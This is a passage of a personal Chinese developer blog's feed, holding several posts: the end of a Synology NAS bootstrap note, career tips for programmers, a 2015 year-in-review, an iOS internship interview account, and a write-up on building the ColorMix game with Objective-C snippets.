&lt;p&gt;Download toolchains from &lt;a href=&quot;https://sourceforge.net/projects/dsgpl&quot;&gt;sourceforge&lt;/a&gt; and export correct paths.&lt;/p&gt;

&lt;p&gt;Download &lt;a href=&quot;https://megatools.megous.com&quot;&gt;megatools&lt;/a&gt;, unzip, configure, make, and you can build now.&lt;/p&gt;

&lt;h1 id=&quot;reference--thanks-to&quot;&gt;Reference &amp;amp; Thanks to&lt;/h1&gt;

&lt;p&gt;http://freshest.me/bootstrap-ds215j&lt;/p&gt;

          
          
        
      
        </content><summary>Optware Bootstrap</summary></entry><entry><title>作为一个码农，你还需要了解什么？</title><id>http://blog.cee.moe/secrets-that-a-programmer-should-know.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/secrets-that-a-programmer-should-know.html" /><published>2016-02-05T00:00:00-08:00</published><updated>2016-02-05T07:21:27-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;统计了一下公共号后台所回复的信息，结合自身的思考给大家一些提示。&lt;/p&gt;

&lt;h3 id=&quot;学会使用合适的搜索引擎&quot;&gt;学会使用合适的&lt;strong&gt;搜索引擎&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;搜索，就要选算法好的 &lt;strong&gt;Google&lt;/strong&gt;，而且请学会看&lt;strong&gt;英文&lt;/strong&gt;。Google 能够提供很多的功能，例如：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;指定站内搜索：比如想搜索 Blog 中和 ColorMix 有关的文章，输入 &lt;code class=&quot;highlighter-rouge&quot;&gt;ColorMix site:blog.cee.moe&lt;/code&gt; 即可&lt;/li&gt;
  &lt;li&gt;星号模糊搜索：例如 &lt;code class=&quot;highlighter-rouge&quot;&gt;支持*吼不吼&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;指定类型文件搜索：加上 &lt;code class=&quot;highlighter-rouge&quot;&gt;filetype&lt;/code&gt; 参数即可，例如 &lt;code class=&quot;highlighter-rouge&quot;&gt;论文名称 filetype:pdf&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;等等，具体可以参看 https://www.zhihu.com/question/28013848&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;百度&lt;/strong&gt;不是什么正经的东西，最近有很多的负面新闻已经报道了，不再一一赘述。如果没法去外面看看的童鞋推荐使用&lt;strong&gt;必应&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;此外码农需要多多接触 &lt;strong&gt;StackOverflow&lt;/strong&gt;，其实很多你们犯过的问题大多都能在上面搜索得到。&lt;/p&gt;

&lt;h3 id=&quot;挑选一款合适的文本编辑器&quot;&gt;挑选一款合适的&lt;strong&gt;文本编辑器&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;当碰到「你会推荐用什么文本编辑器？」这种问题时，我都会比较小心谨慎地推荐你使用 &lt;strong&gt;Sublime Text&lt;/strong&gt; 或者 &lt;strong&gt;Atom&lt;/strong&gt;，因为并不想发起 &lt;strong&gt;Vim&lt;/strong&gt; 和 &lt;strong&gt;Emacs&lt;/strong&gt; 之争。自然以上都是玩笑话，用什么文本编辑器还是得看个人习惯。文本编辑器用顺了比其他一切都重要。所以尽早挑定一款适合自己的文本编辑器吧！当发现另有一款能够提高效率的文本编辑器时，请尽早切换过去（例如 &lt;strong&gt;Nano&lt;/strong&gt; → &lt;strong&gt;Vim&lt;/strong&gt;，并不是说 &lt;strong&gt;Emacs&lt;/strong&gt; 不好）。&lt;/p&gt;

&lt;h3 id=&quot;学会一种项目管理的技能&quot;&gt;学会一种&lt;strong&gt;项目管理&lt;/strong&gt;的技能&lt;/h3&gt;

&lt;p&gt;同样，重要的不是你会 &lt;strong&gt;Git&lt;/strong&gt; 还是 &lt;strong&gt;SVN&lt;/strong&gt;，更重要的是培养这种&lt;strong&gt;项目管理&lt;/strong&gt;的技能。知道数据的重要性，懂得为什么能够通过这样的&lt;strong&gt;版本控制系统&lt;/strong&gt;来保存你的文件。学会使用 &lt;strong&gt;Git&lt;/strong&gt; 或者 &lt;strong&gt;SVN&lt;/strong&gt; 的最基础的功能。尤其是随着 &lt;strong&gt;Git&lt;/strong&gt; 的普及，更多得懂一些 &lt;strong&gt;Git&lt;/strong&gt; 的高级知识显得格外的重要。感谢 @loddit 推荐了一篇关于如何写好 Commit 做好 Code Review 的&lt;a href=&quot;http://blog.psjay.com/posts/code-review-guide/&quot;&gt;文章&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;学会如何和团队的成员&lt;strong&gt;沟通&lt;/strong&gt;和&lt;strong&gt;写作&lt;/strong&gt;，使用你们所用的&lt;strong&gt;项目管理工具&lt;/strong&gt;进行无缝交流和对接。&lt;/p&gt;

&lt;h3 id=&quot;懂一点设计&quot;&gt;懂一点&lt;strong&gt;设计&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;带上一本小本子、一支笔，背上包，出去走走。碰到灵感来了，马上拿出来把灵感&lt;strong&gt;记录&lt;/strong&gt;下来，甚至&lt;strong&gt;画&lt;/strong&gt;下来。&lt;/p&gt;

&lt;p&gt;打开电脑上的 &lt;strong&gt;Sketch&lt;/strong&gt;、&lt;strong&gt;Photoshop&lt;/strong&gt; 还有 &lt;strong&gt;Illustrator&lt;/strong&gt;，用简单的图形构建出理想的那种感觉。从点到线再到面，从草稿到原型到产品，在设计中会不断提升对产品的理解（越是理解产品，越能写出好代码哦）。&lt;/p&gt;

&lt;h3 id=&quot;最后记得永远将健康和自由放在首位&quot;&gt;最后记得永远将&lt;strong&gt;健康&lt;/strong&gt;和&lt;strong&gt;自由&lt;/strong&gt;放在首位&lt;/h3&gt;

&lt;p&gt;引用一段话：「要为自己喜欢的而活；健康与自由比一切都重要；业余爱好和工作一样重要；有能力的人绝不加班；远离那些不聪明且勤奋的人。」&lt;/p&gt;

&lt;p&gt;当自己经历过重大的健康问题之后，这两点才会显得如此重要。太多人在浪费时间，消耗青春，做着自己不喜欢的事情。为何不停下来考虑清楚「自己想做的到底是什么」这个问题呢？与其在无聊地敲代码，不如多去&lt;strong&gt;健身&lt;/strong&gt;、&lt;strong&gt;出 Cos&lt;/strong&gt; 或者&lt;strong&gt;勾搭妹子&lt;/strong&gt;啊（下一期一定会讲如何勾搭妹子了）！&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;最后发一个并没有关注本公共号的童鞋的留言，很有哲理，不做评价，聪明人自然懂了：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;汝果欲学诗，功夫在诗外。我觉得，问怎样做好程序员而需要学习那些 Coding 之外的东西这种问法本身就已经本末倒置了。应该是怎样做一个自己理想中的人，以 Coding 这种行为方式实践自己的理想。&lt;/p&gt;
&lt;/blockquote&gt;

          
          
        
      
        </content><summary>统计了一下公共号后台所回复的信息，结合自身的思考给大家一些提示。</summary></entry><entry><title>Oh My 2015</title><id>http://blog.cee.moe/Oh-My-2015.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/Oh-My-2015.html" /><published>2015-12-31T00:00:00-08:00</published><updated>2015-12-30T08:08:17-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;Be ready on the way to 30.&lt;/p&gt;

&lt;h2 id=&quot;moments&quot;&gt;Moments&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; GIF&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; 心脏问题复发&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; 运营初探&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; &lt;a href=&quot;http://pudding.cc&quot;&gt;布丁动画&lt;/a&gt; 2.0&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4&lt;/strong&gt; 地铁三号线 Day 1&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4&lt;/strong&gt; 苹果表第一天就到了&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; 正式录了第一首歌&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6&lt;/strong&gt; &lt;a href=&quot;http://colormix.cee.moe&quot;&gt;Co!orMix&lt;/a&gt; 上线&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7&lt;/strong&gt; iPad 失而复得&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8&lt;/strong&gt; 新身份证&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8&lt;/strong&gt; Miyu Project&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9&lt;/strong&gt; 各种聚会&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10&lt;/strong&gt; 开始去健身房&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10&lt;/strong&gt; &lt;a href=&quot;http://next.36kr.com&quot;&gt;NEXT 2.0&lt;/a&gt; 上线&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10&lt;/strong&gt; &lt;a href=&quot;http://ok-bang.com&quot;&gt;OK 帮&lt;/a&gt;上线&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11&lt;/strong&gt; 巨额奖学金&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11&lt;/strong&gt; 最后一门课程结束&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; 心脏手术&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; 🎂20&lt;/p&gt;

&lt;h2 id=&quot;input--output&quot;&gt;Input &amp;amp; Output&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; rMBP (Late 2013)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; iPad mini 2 （Silver）&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; rMBP (Mid 2014)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; iPhone 5c (Yellow)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; Apple Watch Sport&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; iPhone 6s Plus (Rose Gold)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; Sony Z3 (l55t)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; Synology DS215j&lt;/p&gt;

&lt;h2 id=&quot;numbers&quot;&gt;Numbers&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;3,125 photos&lt;/li&gt;
  &lt;li&gt;15 posts&lt;/li&gt;
  &lt;li&gt;1,089 twitter followers&lt;/li&gt;
  &lt;li&gt;251 instagram followers&lt;/li&gt;
  &lt;li&gt;6 books&lt;/li&gt;
  &lt;li&gt;708 contributions&lt;/li&gt;
  &lt;li&gt;43,677 lines of code
    &lt;ul&gt;
      &lt;li&gt;Objective-C&lt;/li&gt;
      &lt;li&gt;HTML&lt;/li&gt;
      &lt;li&gt;SASS/CSS&lt;/li&gt;
      &lt;li&gt;JavaScript&lt;/li&gt;
      &lt;li&gt;Swift&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;hall-of-fame&quot;&gt;Hall of Fame&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;年度 iOS 应用：&lt;a href=&quot;https://readdle.com/spark&quot;&gt;Spark&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;年度 Mac 应用：&lt;a href=&quot;http://www.cockos.com/licecap/&quot;&gt;LICEcap&lt;/a&gt;, &lt;a href=&quot;https://github.com/HappenApps/Quiver&quot;&gt;Quiver&lt;/a&gt;, &lt;a href=&quot;https://www.sketchapp.com&quot;&gt;Sketch&lt;/a&gt;, &lt;a href=&quot;http://www.git-tower.com&quot;&gt;Tower&lt;/a&gt;, &lt;a href=&quot;http://ulyssesapp.com&quot;&gt;Ulysses&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的游戏：&lt;a href=&quot;http://www.lynegame.com&quot;&gt;LYNE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的歌手：fhána&lt;/li&gt;
  &lt;li&gt;最喜欢的歌曲：ワンダーステラ&lt;/li&gt;
  &lt;li&gt;离不开的设备：iPhone&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-next&quot;&gt;The Next&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Release Miyu&lt;/li&gt;
  &lt;li&gt;Be a Dribbble Player&lt;/li&gt;
  &lt;li&gt;做一个合格的 PM&lt;/li&gt;
  &lt;li&gt;启动微信公众号&lt;/li&gt;
  &lt;li&gt;继续每年都会做的事情&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;special-thanks&quot;&gt;Special Thanks&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://ela.build&quot;&gt;@ElaWorkshop&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://swift.gg&quot;&gt;@Swiftgg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://lightory.net&quot;&gt;@Lightory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>SummaryBe ready on the way to 30.</summary></entry><entry><title>猿题库实习面试经历</title><id>http://blog.cee.moe/ytk-intern-experience.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/ytk-intern-experience.html" /><published>2015-12-08T00:00:00-08:00</published><updated>2015-12-08T03:20:24-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;2015/12/08 17:05 Update&lt;/p&gt;

&lt;p&gt;本文并不是说猿题库不好，猿题库也是我很向往的一家公司。文中所面试本人的两位都是业内菊苣级别的人物。&lt;strong&gt;一千人的心中就有一千个哈姆雷特&lt;/strong&gt;，只不过在流程上做的不好，所以给面试者（本人）留下的是一种负面的影响。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;每次面试完都会有一篇面经，猿题库也不例外，还是要来说一下的。&lt;/p&gt;

&lt;p&gt;约的 12.7 的下午两点半开始面试。一面面试官是 &lt;a href=&quot;http://weibo.com/lancy1014&quot;&gt;Lancy&lt;/a&gt;，二面是&lt;a href=&quot;http://weibo.com/kaixinger&quot;&gt;毛佳俊&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;（下面就只谈谈题目，答案各自都有各自的答案:) ）&lt;/p&gt;

&lt;h3 id=&quot;一面&quot;&gt;一面&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;理所当然简单介绍一下自己和做过的项目，没什么好说的都在简历上。&lt;/li&gt;
  &lt;li&gt;谈一下项目中感触最深的一个：自然是 ColorMix，因为从设计到上市场都走了一遍，时间也很紧。&lt;/li&gt;
  &lt;li&gt;做过的项目中遇到的最大的问题是什么，如何解决的：
 这个问题重点谈一下，当时是在布丁动画写音频弹幕的时候遇到了比较大的问题。
 先问了我一些 AVFundation 的知识比较容易。
 然后问弹幕如何实现——类似于 TableView 一样的重用机制，NSRunLoop、NSOperationQueue 的考察。
 询问了一下你们是如何做大量弹幕的处理的：切片，time+offset。&lt;/li&gt;
  &lt;li&gt;property 的默认属性有什么。&lt;/li&gt;
  &lt;li&gt;笔试题，给定两个 str1，str2（比如「BDAFEC」和「DAFCEA」）作为起始和终止态和一个交换规则（B &amp;lt;–&amp;gt; A），能否从 str1 转换为 str2。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;二面&quot;&gt;二面&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;你是来实习还是来做正式员工？此时我心中千万头草泥马飞奔而过。&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;讲一下自我经历。&lt;/li&gt;
  &lt;li&gt;添加圆角的方式有几种。性能如何？&lt;/li&gt;
  &lt;li&gt;上面提到了 UIBezierPath 讲一下怎么画直线曲线，CG 几个类中有什么方法，drawRect 的性能会有什么问题。&lt;/li&gt;
  &lt;li&gt;Masonry（或者 Autolayout）如何使用，当键盘弹出时一个 View 需要加动画如何更改它的 Contraints。&lt;/li&gt;
  &lt;li&gt;当 TabelViewCell 高度是可变的的时候如何优化性能。（需要包括 iOS7）&lt;/li&gt;
  &lt;li&gt;笔试题：翻转单向链表中的一段。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;high&quot;&gt;High&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;问的问题是面到现在非常详细的一次。深度很广。&lt;/li&gt;
  &lt;li&gt;中间还让我停下来赶紧吃药。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;low&quot;&gt;Low&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;整个面试过程（从定时间到面试）都是在用 QQ！用 QQ 视频面试真的很 Low，而且整个面试过程&lt;strong&gt;没有一封正式的邮件&lt;/strong&gt;！&lt;/li&gt;
  &lt;li&gt;二面的第一个问题真是气到爆炸。&lt;/li&gt;
  &lt;li&gt;代码题考了两道算法。如果不会 C 的话，我怎么做第二题呢？&lt;/li&gt;
  &lt;li&gt;面试官都感觉阴阳怪气。&lt;/li&gt;
  &lt;li&gt;面试过程全是对方在面我，连一个提问的机会都没有！还经常打断我回答！&lt;/li&gt;
  &lt;li&gt;最后都是以「我们时间很紧」匆匆结束。虽说有一个小时，但是感觉没有认认真真地对待面试人员。&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;p&gt;P.S. 几个问题的答案也希望大家在评论区积极地讨论一下~&lt;/p&gt;

&lt;p&gt;P.S.2 业务驱动 or 技术驱动？I don’t know, and don’t ask me.&lt;/p&gt;

          
          
        
      
        </content><summary>2015/12/08 17:05 Update</summary></entry><entry><title>About Co!orMix (3) - Co!orMix 小记：关于开发的那点儿事</title><id>http://blog.cee.moe/about-colormix-3.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/about-colormix-3.html" /><published>2015-09-10T00:00:00-07:00</published><updated>2015-09-10T08:31:23-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h2 id=&quot;关于-coormix&quot;&gt;关于 Co!orMix&lt;/h2&gt;

&lt;p&gt;前几天， Cee 童鞋把 &lt;a href=&quot;https://github.com/Cee/ColorMix&quot;&gt;Co!orMix&lt;/a&gt; 开源了。当时刚上架的时候，团队里的另外两个童鞋都发了文，@Cee 讲&lt;a href=&quot;http://blog.cee.moe/about-colormix-1.html&quot;&gt;产品&lt;/a&gt;，@Albus 讲&lt;a href=&quot;http://blog.cee.moe/about-colormix-2.html&quot;&gt;设计&lt;/a&gt;（这两篇文章都在 V2EX 上发布过）。&lt;/p&gt;

&lt;p&gt;既然代码开源了，那是时候说一下项目本身了。&lt;/p&gt;

&lt;p&gt;Co!orMix 里面并没有什么特别有技术含量的东西，可以说，任何一个人都可以毫不费力地把它做出来。对于新手来说，也值得一试。不过毫不谦虚地说，如果要达到零错误率，还是有一定难度的，而上线至今，它的 Crash 率一直保持在 0 ，这是我所引以为豪的。（欢迎大家试玩！偷偷说一句，我可是跟组里承诺过，只要出现一个 crash ，就请吃饭的哦！）&lt;/p&gt;

&lt;h2 id=&quot;动手之前的思考&quot;&gt;动手之前的思考&lt;/h2&gt;

&lt;p&gt;无论是多简单的项目，开动之前必须要思考一下大致的架构。 Co!orMix 本身是一个相对很简单的游戏。&lt;/p&gt;

&lt;p&gt;从页面考虑：&lt;strong&gt;主页、设置页、游戏界面、游戏结果页、引导页&lt;/strong&gt;；
从游戏本身考虑：&lt;strong&gt;题目、选项、得分、策略、游戏模式&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;第一天晚上我们三个人商量出了游戏的大致功能和规则，我和 Cee 便直接开始讨论起了实现。由于游戏本身的复杂度不高，我们决定采用最传统的 MVC 来完成这个应用。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Model 层&lt;br /&gt;
CMCard ：卡片（对应游戏界面上半部分）
CMColor ：颜色（游戏中所对应的颜色的概念）
CMQuestion ：问题（包含 CMCard ，以及对应的 Option 和 Answer ）
CMScene ：游戏场景（对应一次游戏，根据游戏模式区分不同表现）
Factory ：工厂（工厂模式，生产问题）&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;View 层 &lt;br /&gt;
CMCardView ：卡片 View
CMQuestionView ：问题 View
CMScoreView ：得分&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Controller 层&lt;br /&gt;
CMClassicTutorialViewController/CMFantasyTutorialViewController ：新手引导
CMGameResultViewController ：游戏结果
CMGameViewController ：游戏界面
CMMenuViewController ：游戏菜单界面
CMSettingViewController ：游戏设置界面&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;项目结构&quot;&gt;项目结构&lt;/h2&gt;

&lt;p&gt;由于项目比较简单，所以并没有按照功能模块进行分类，项目的结构大致如下：&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;目录&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;职能&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Category&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;工具、扩展类&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ViewController&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;Controller 层&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;View&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;View 层&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Model&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;Model 层&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;项目并没有使用任何第三方库（除了友盟统计），所以自然也就没有使用 Cocoapods 了。&lt;/p&gt;

&lt;h2 id=&quot;关于开发细节&quot;&gt;关于开发细节&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;规范&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;项目主体编码主要是我负责的，@Cee 在初期做了 Code Review 工作（惊讶吧！这么小的项目还做 Code Review ）。开发在 &lt;code class=&quot;highlighter-rouge&quot;&gt;dev&lt;/code&gt; 分支做，记得第一次提交的时候，@Cee 写了 N 个 comments ，很多都是关于 Coding Style 的问题（我自认已经很注意了，但是在某个人的强迫症面前根本不值一提），改完了所有的问题。之后就更加小心地完成编码工作。最后通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;Pull Request&lt;/code&gt; 合并进主分支。之后又开发了 Android 版本，感兴趣的童鞋可以去 &lt;code class=&quot;highlighter-rouge&quot;&gt;dev_android&lt;/code&gt; 的分支看一下安卓版本，实现的大致逻辑和 iOS 差不多。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;适配&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;项目采用 xib + AutoLayout + Size Classes 完成界面搭建，这也是我们第一次尝试使用 Size Classes 。&lt;br /&gt;
总体来说，算是不错的一次实践， 0 代码完成全平台适配。我们以游戏界面中的 QuestionView 为例（&lt;code class=&quot;highlighter-rouge&quot;&gt;CMQuestionView&lt;/code&gt;）做一下介绍，这个界面算是相当相当的典型了！&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://i1.tietuku.com/52bcba6e61024850.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;分析一下这个界面，基本可以分三部分：卡片、问题、选项。这里我总共分了三个 View 来区分，分别为 Options 、 Card 、 Question ，其中 Options 是撑满整个 View 的。（参看 Fantasy 模式下的表现）&lt;/p&gt;

&lt;p&gt;可以注意一下这里还有一个&lt;code class=&quot;highlighter-rouge&quot;&gt;背景占位符&lt;/code&gt;，它是一个垫在最底层撑满整个屏幕的透明的 View ，用来给其他 subview 做尺寸上的参考，比如 &lt;code class=&quot;highlighter-rouge&quot;&gt;Card&lt;/code&gt; 部分的高度所做的约束通过&lt;code class=&quot;highlighter-rouge&quot;&gt;背景占位符&lt;/code&gt;高度的一半来限定。&lt;/p&gt;

&lt;p&gt;另外分享一个小的 Tip ，在 xib 中可以直接通过右侧的选项实时查看不同设备下界面的布局：
&lt;img src=&quot;http://i1.tietuku.com/e99ed1152bc639c7.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
&lt;img src=&quot;http://i1.tietuku.com/b97cebd4bed9c827.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;再有就是 Tutorial 的这个界面，细心的用户也会发现也是全适配的。我们的游戏引导界面并没有单纯地使用图片，而是在原有的游戏界面上加上了对应的引导元素，不管是箭头还是文字都是使用 AutoLayout 拉的约束。
&lt;img src=&quot;http://i3.tietuku.com/502655f9c3df74d0.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
&lt;img src=&quot;http://i3.tietuku.com/49eb9ed47eb6ab93.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;分享&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为求最简，我们的分享使用的系统原生的 &lt;code class=&quot;highlighter-rouge&quot;&gt;UIActivityViewController&lt;/code&gt; 来实现。不过这里在适配的时候遇到了个坑，直接上代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-objective-c&quot;&gt;- (IBAction )onShareButtonClicked:(id )sender {
    [MobClick event:@&quot;Share&quot;];
    CMScoreView *scoreView = [[CMScoreView alloc] initWithScore:self.score];
    UIImage *imageToShare = [UIImage captureImageFromView:scoreView];
    NSString *stringToShare = [NSString stringWithFormat:@&quot;I scored %ld in the %@ mode, play #Co!orMix with me: %@&quot;, (long )self.score, self.gameMode == classicMode ? @&quot;classic&quot; : @&quot;fantasy&quot; , kAppStoreUrl ];
    NSArray *activityItems = [[NSArray alloc] initWithObjects:imageToShare,stringToShare, nil];
    UIActivityViewController *activityVC = [[UIActivityViewController alloc] initWithActivityItems:activityItems applicationActivities:nil];
    activityVC.excludedActivityTypes = @[UIActivityTypeSaveToCameraRoll];
    if (IS_IPAD ) {
        UIPopoverController *popup = [[UIPopoverController alloc] initWithContentViewController:activityVC];
        self.shareController = popup;
        popup.delegate = self;
        [popup presentPopoverFromRect:CGRectMake (self.view.frame.size.width / 2, self.shareBtn.frame.size.height + self.shareBtn.frame.origin.y , 0, 0 )inView:self.view permittedArrowDirections:UIPopoverArrowDirectionUp animated:YES];
    } else {
        [self presentViewController:activityVC animated:YES completion:nil];
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;对于 &lt;code class=&quot;highlighter-rouge&quot;&gt;UIActivityViewController&lt;/code&gt;，在 &lt;code class=&quot;highlighter-rouge&quot;&gt;iPhone&lt;/code&gt; 上，我们可以直接使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;present&lt;/code&gt; 的方式；但是在 &lt;code class=&quot;highlighter-rouge&quot;&gt;iPad&lt;/code&gt; 上，这会引起崩溃，可以使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;UIPopoverController&lt;/code&gt; 来包装 &lt;code class=&quot;highlighter-rouge&quot;&gt;UIActivityViewController&lt;/code&gt;。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;设置界面的效果&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;http://i3.tietuku.com/b7debc4a2f13ac8a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;个人还是很喜欢这个效果的，使用的是 iOS8 自带的毛玻璃效果。上代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-objective-c&quot;&gt;- (IBAction )onSettingButtonClicked:(id )sender {
    [MobClick event:@&quot;Setting&quot;];
    self.settingViewController = [[CMSettingViewController alloc] initWithNibName:NSStringFromClass ([CMSettingViewController class]) bundle:nil];
    self.settingViewController.view.frame = self.view.bounds;
    self.settingViewController.view.alpha = 0;
    [self.view addSubview:self.blurView];
    [self.view addSubview:self.settingViewController.view];
    [self addChildViewController:self.settingViewController];
    [UIView animateWithDuration:0.3 delay:0 options:UIViewAnimationOptionCurveEaseInOut animations:^{
        _blurView.alpha = 1;
        self.settingViewController.view.alpha = 1;
    } completion:nil];
}

- (UIView *)blurView {
    if (!_blurView ) {
        _blurView = [[UIVisualEffectView alloc] initWithEffect:[UIBlurEffect effectWithStyle:UIBlurEffectStyleDark]];
        _blurView.frame = [[UIScreen mainScreen] bounds];
        _blurView.alpha = 0;
    }
    return _blurView;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
  &lt;li&gt;GameCenter 和友盟&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这两块都是 @Cee 负责弄的。友盟的接入相对简单，不过 GameCenter @Cee 弄了一晚上，还吐槽网上没有成熟的 GameCenter 接入指南，我觉得有必要让他专门写一份了。&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;面向对象&lt;/li&gt;
&lt;/ul&gt;

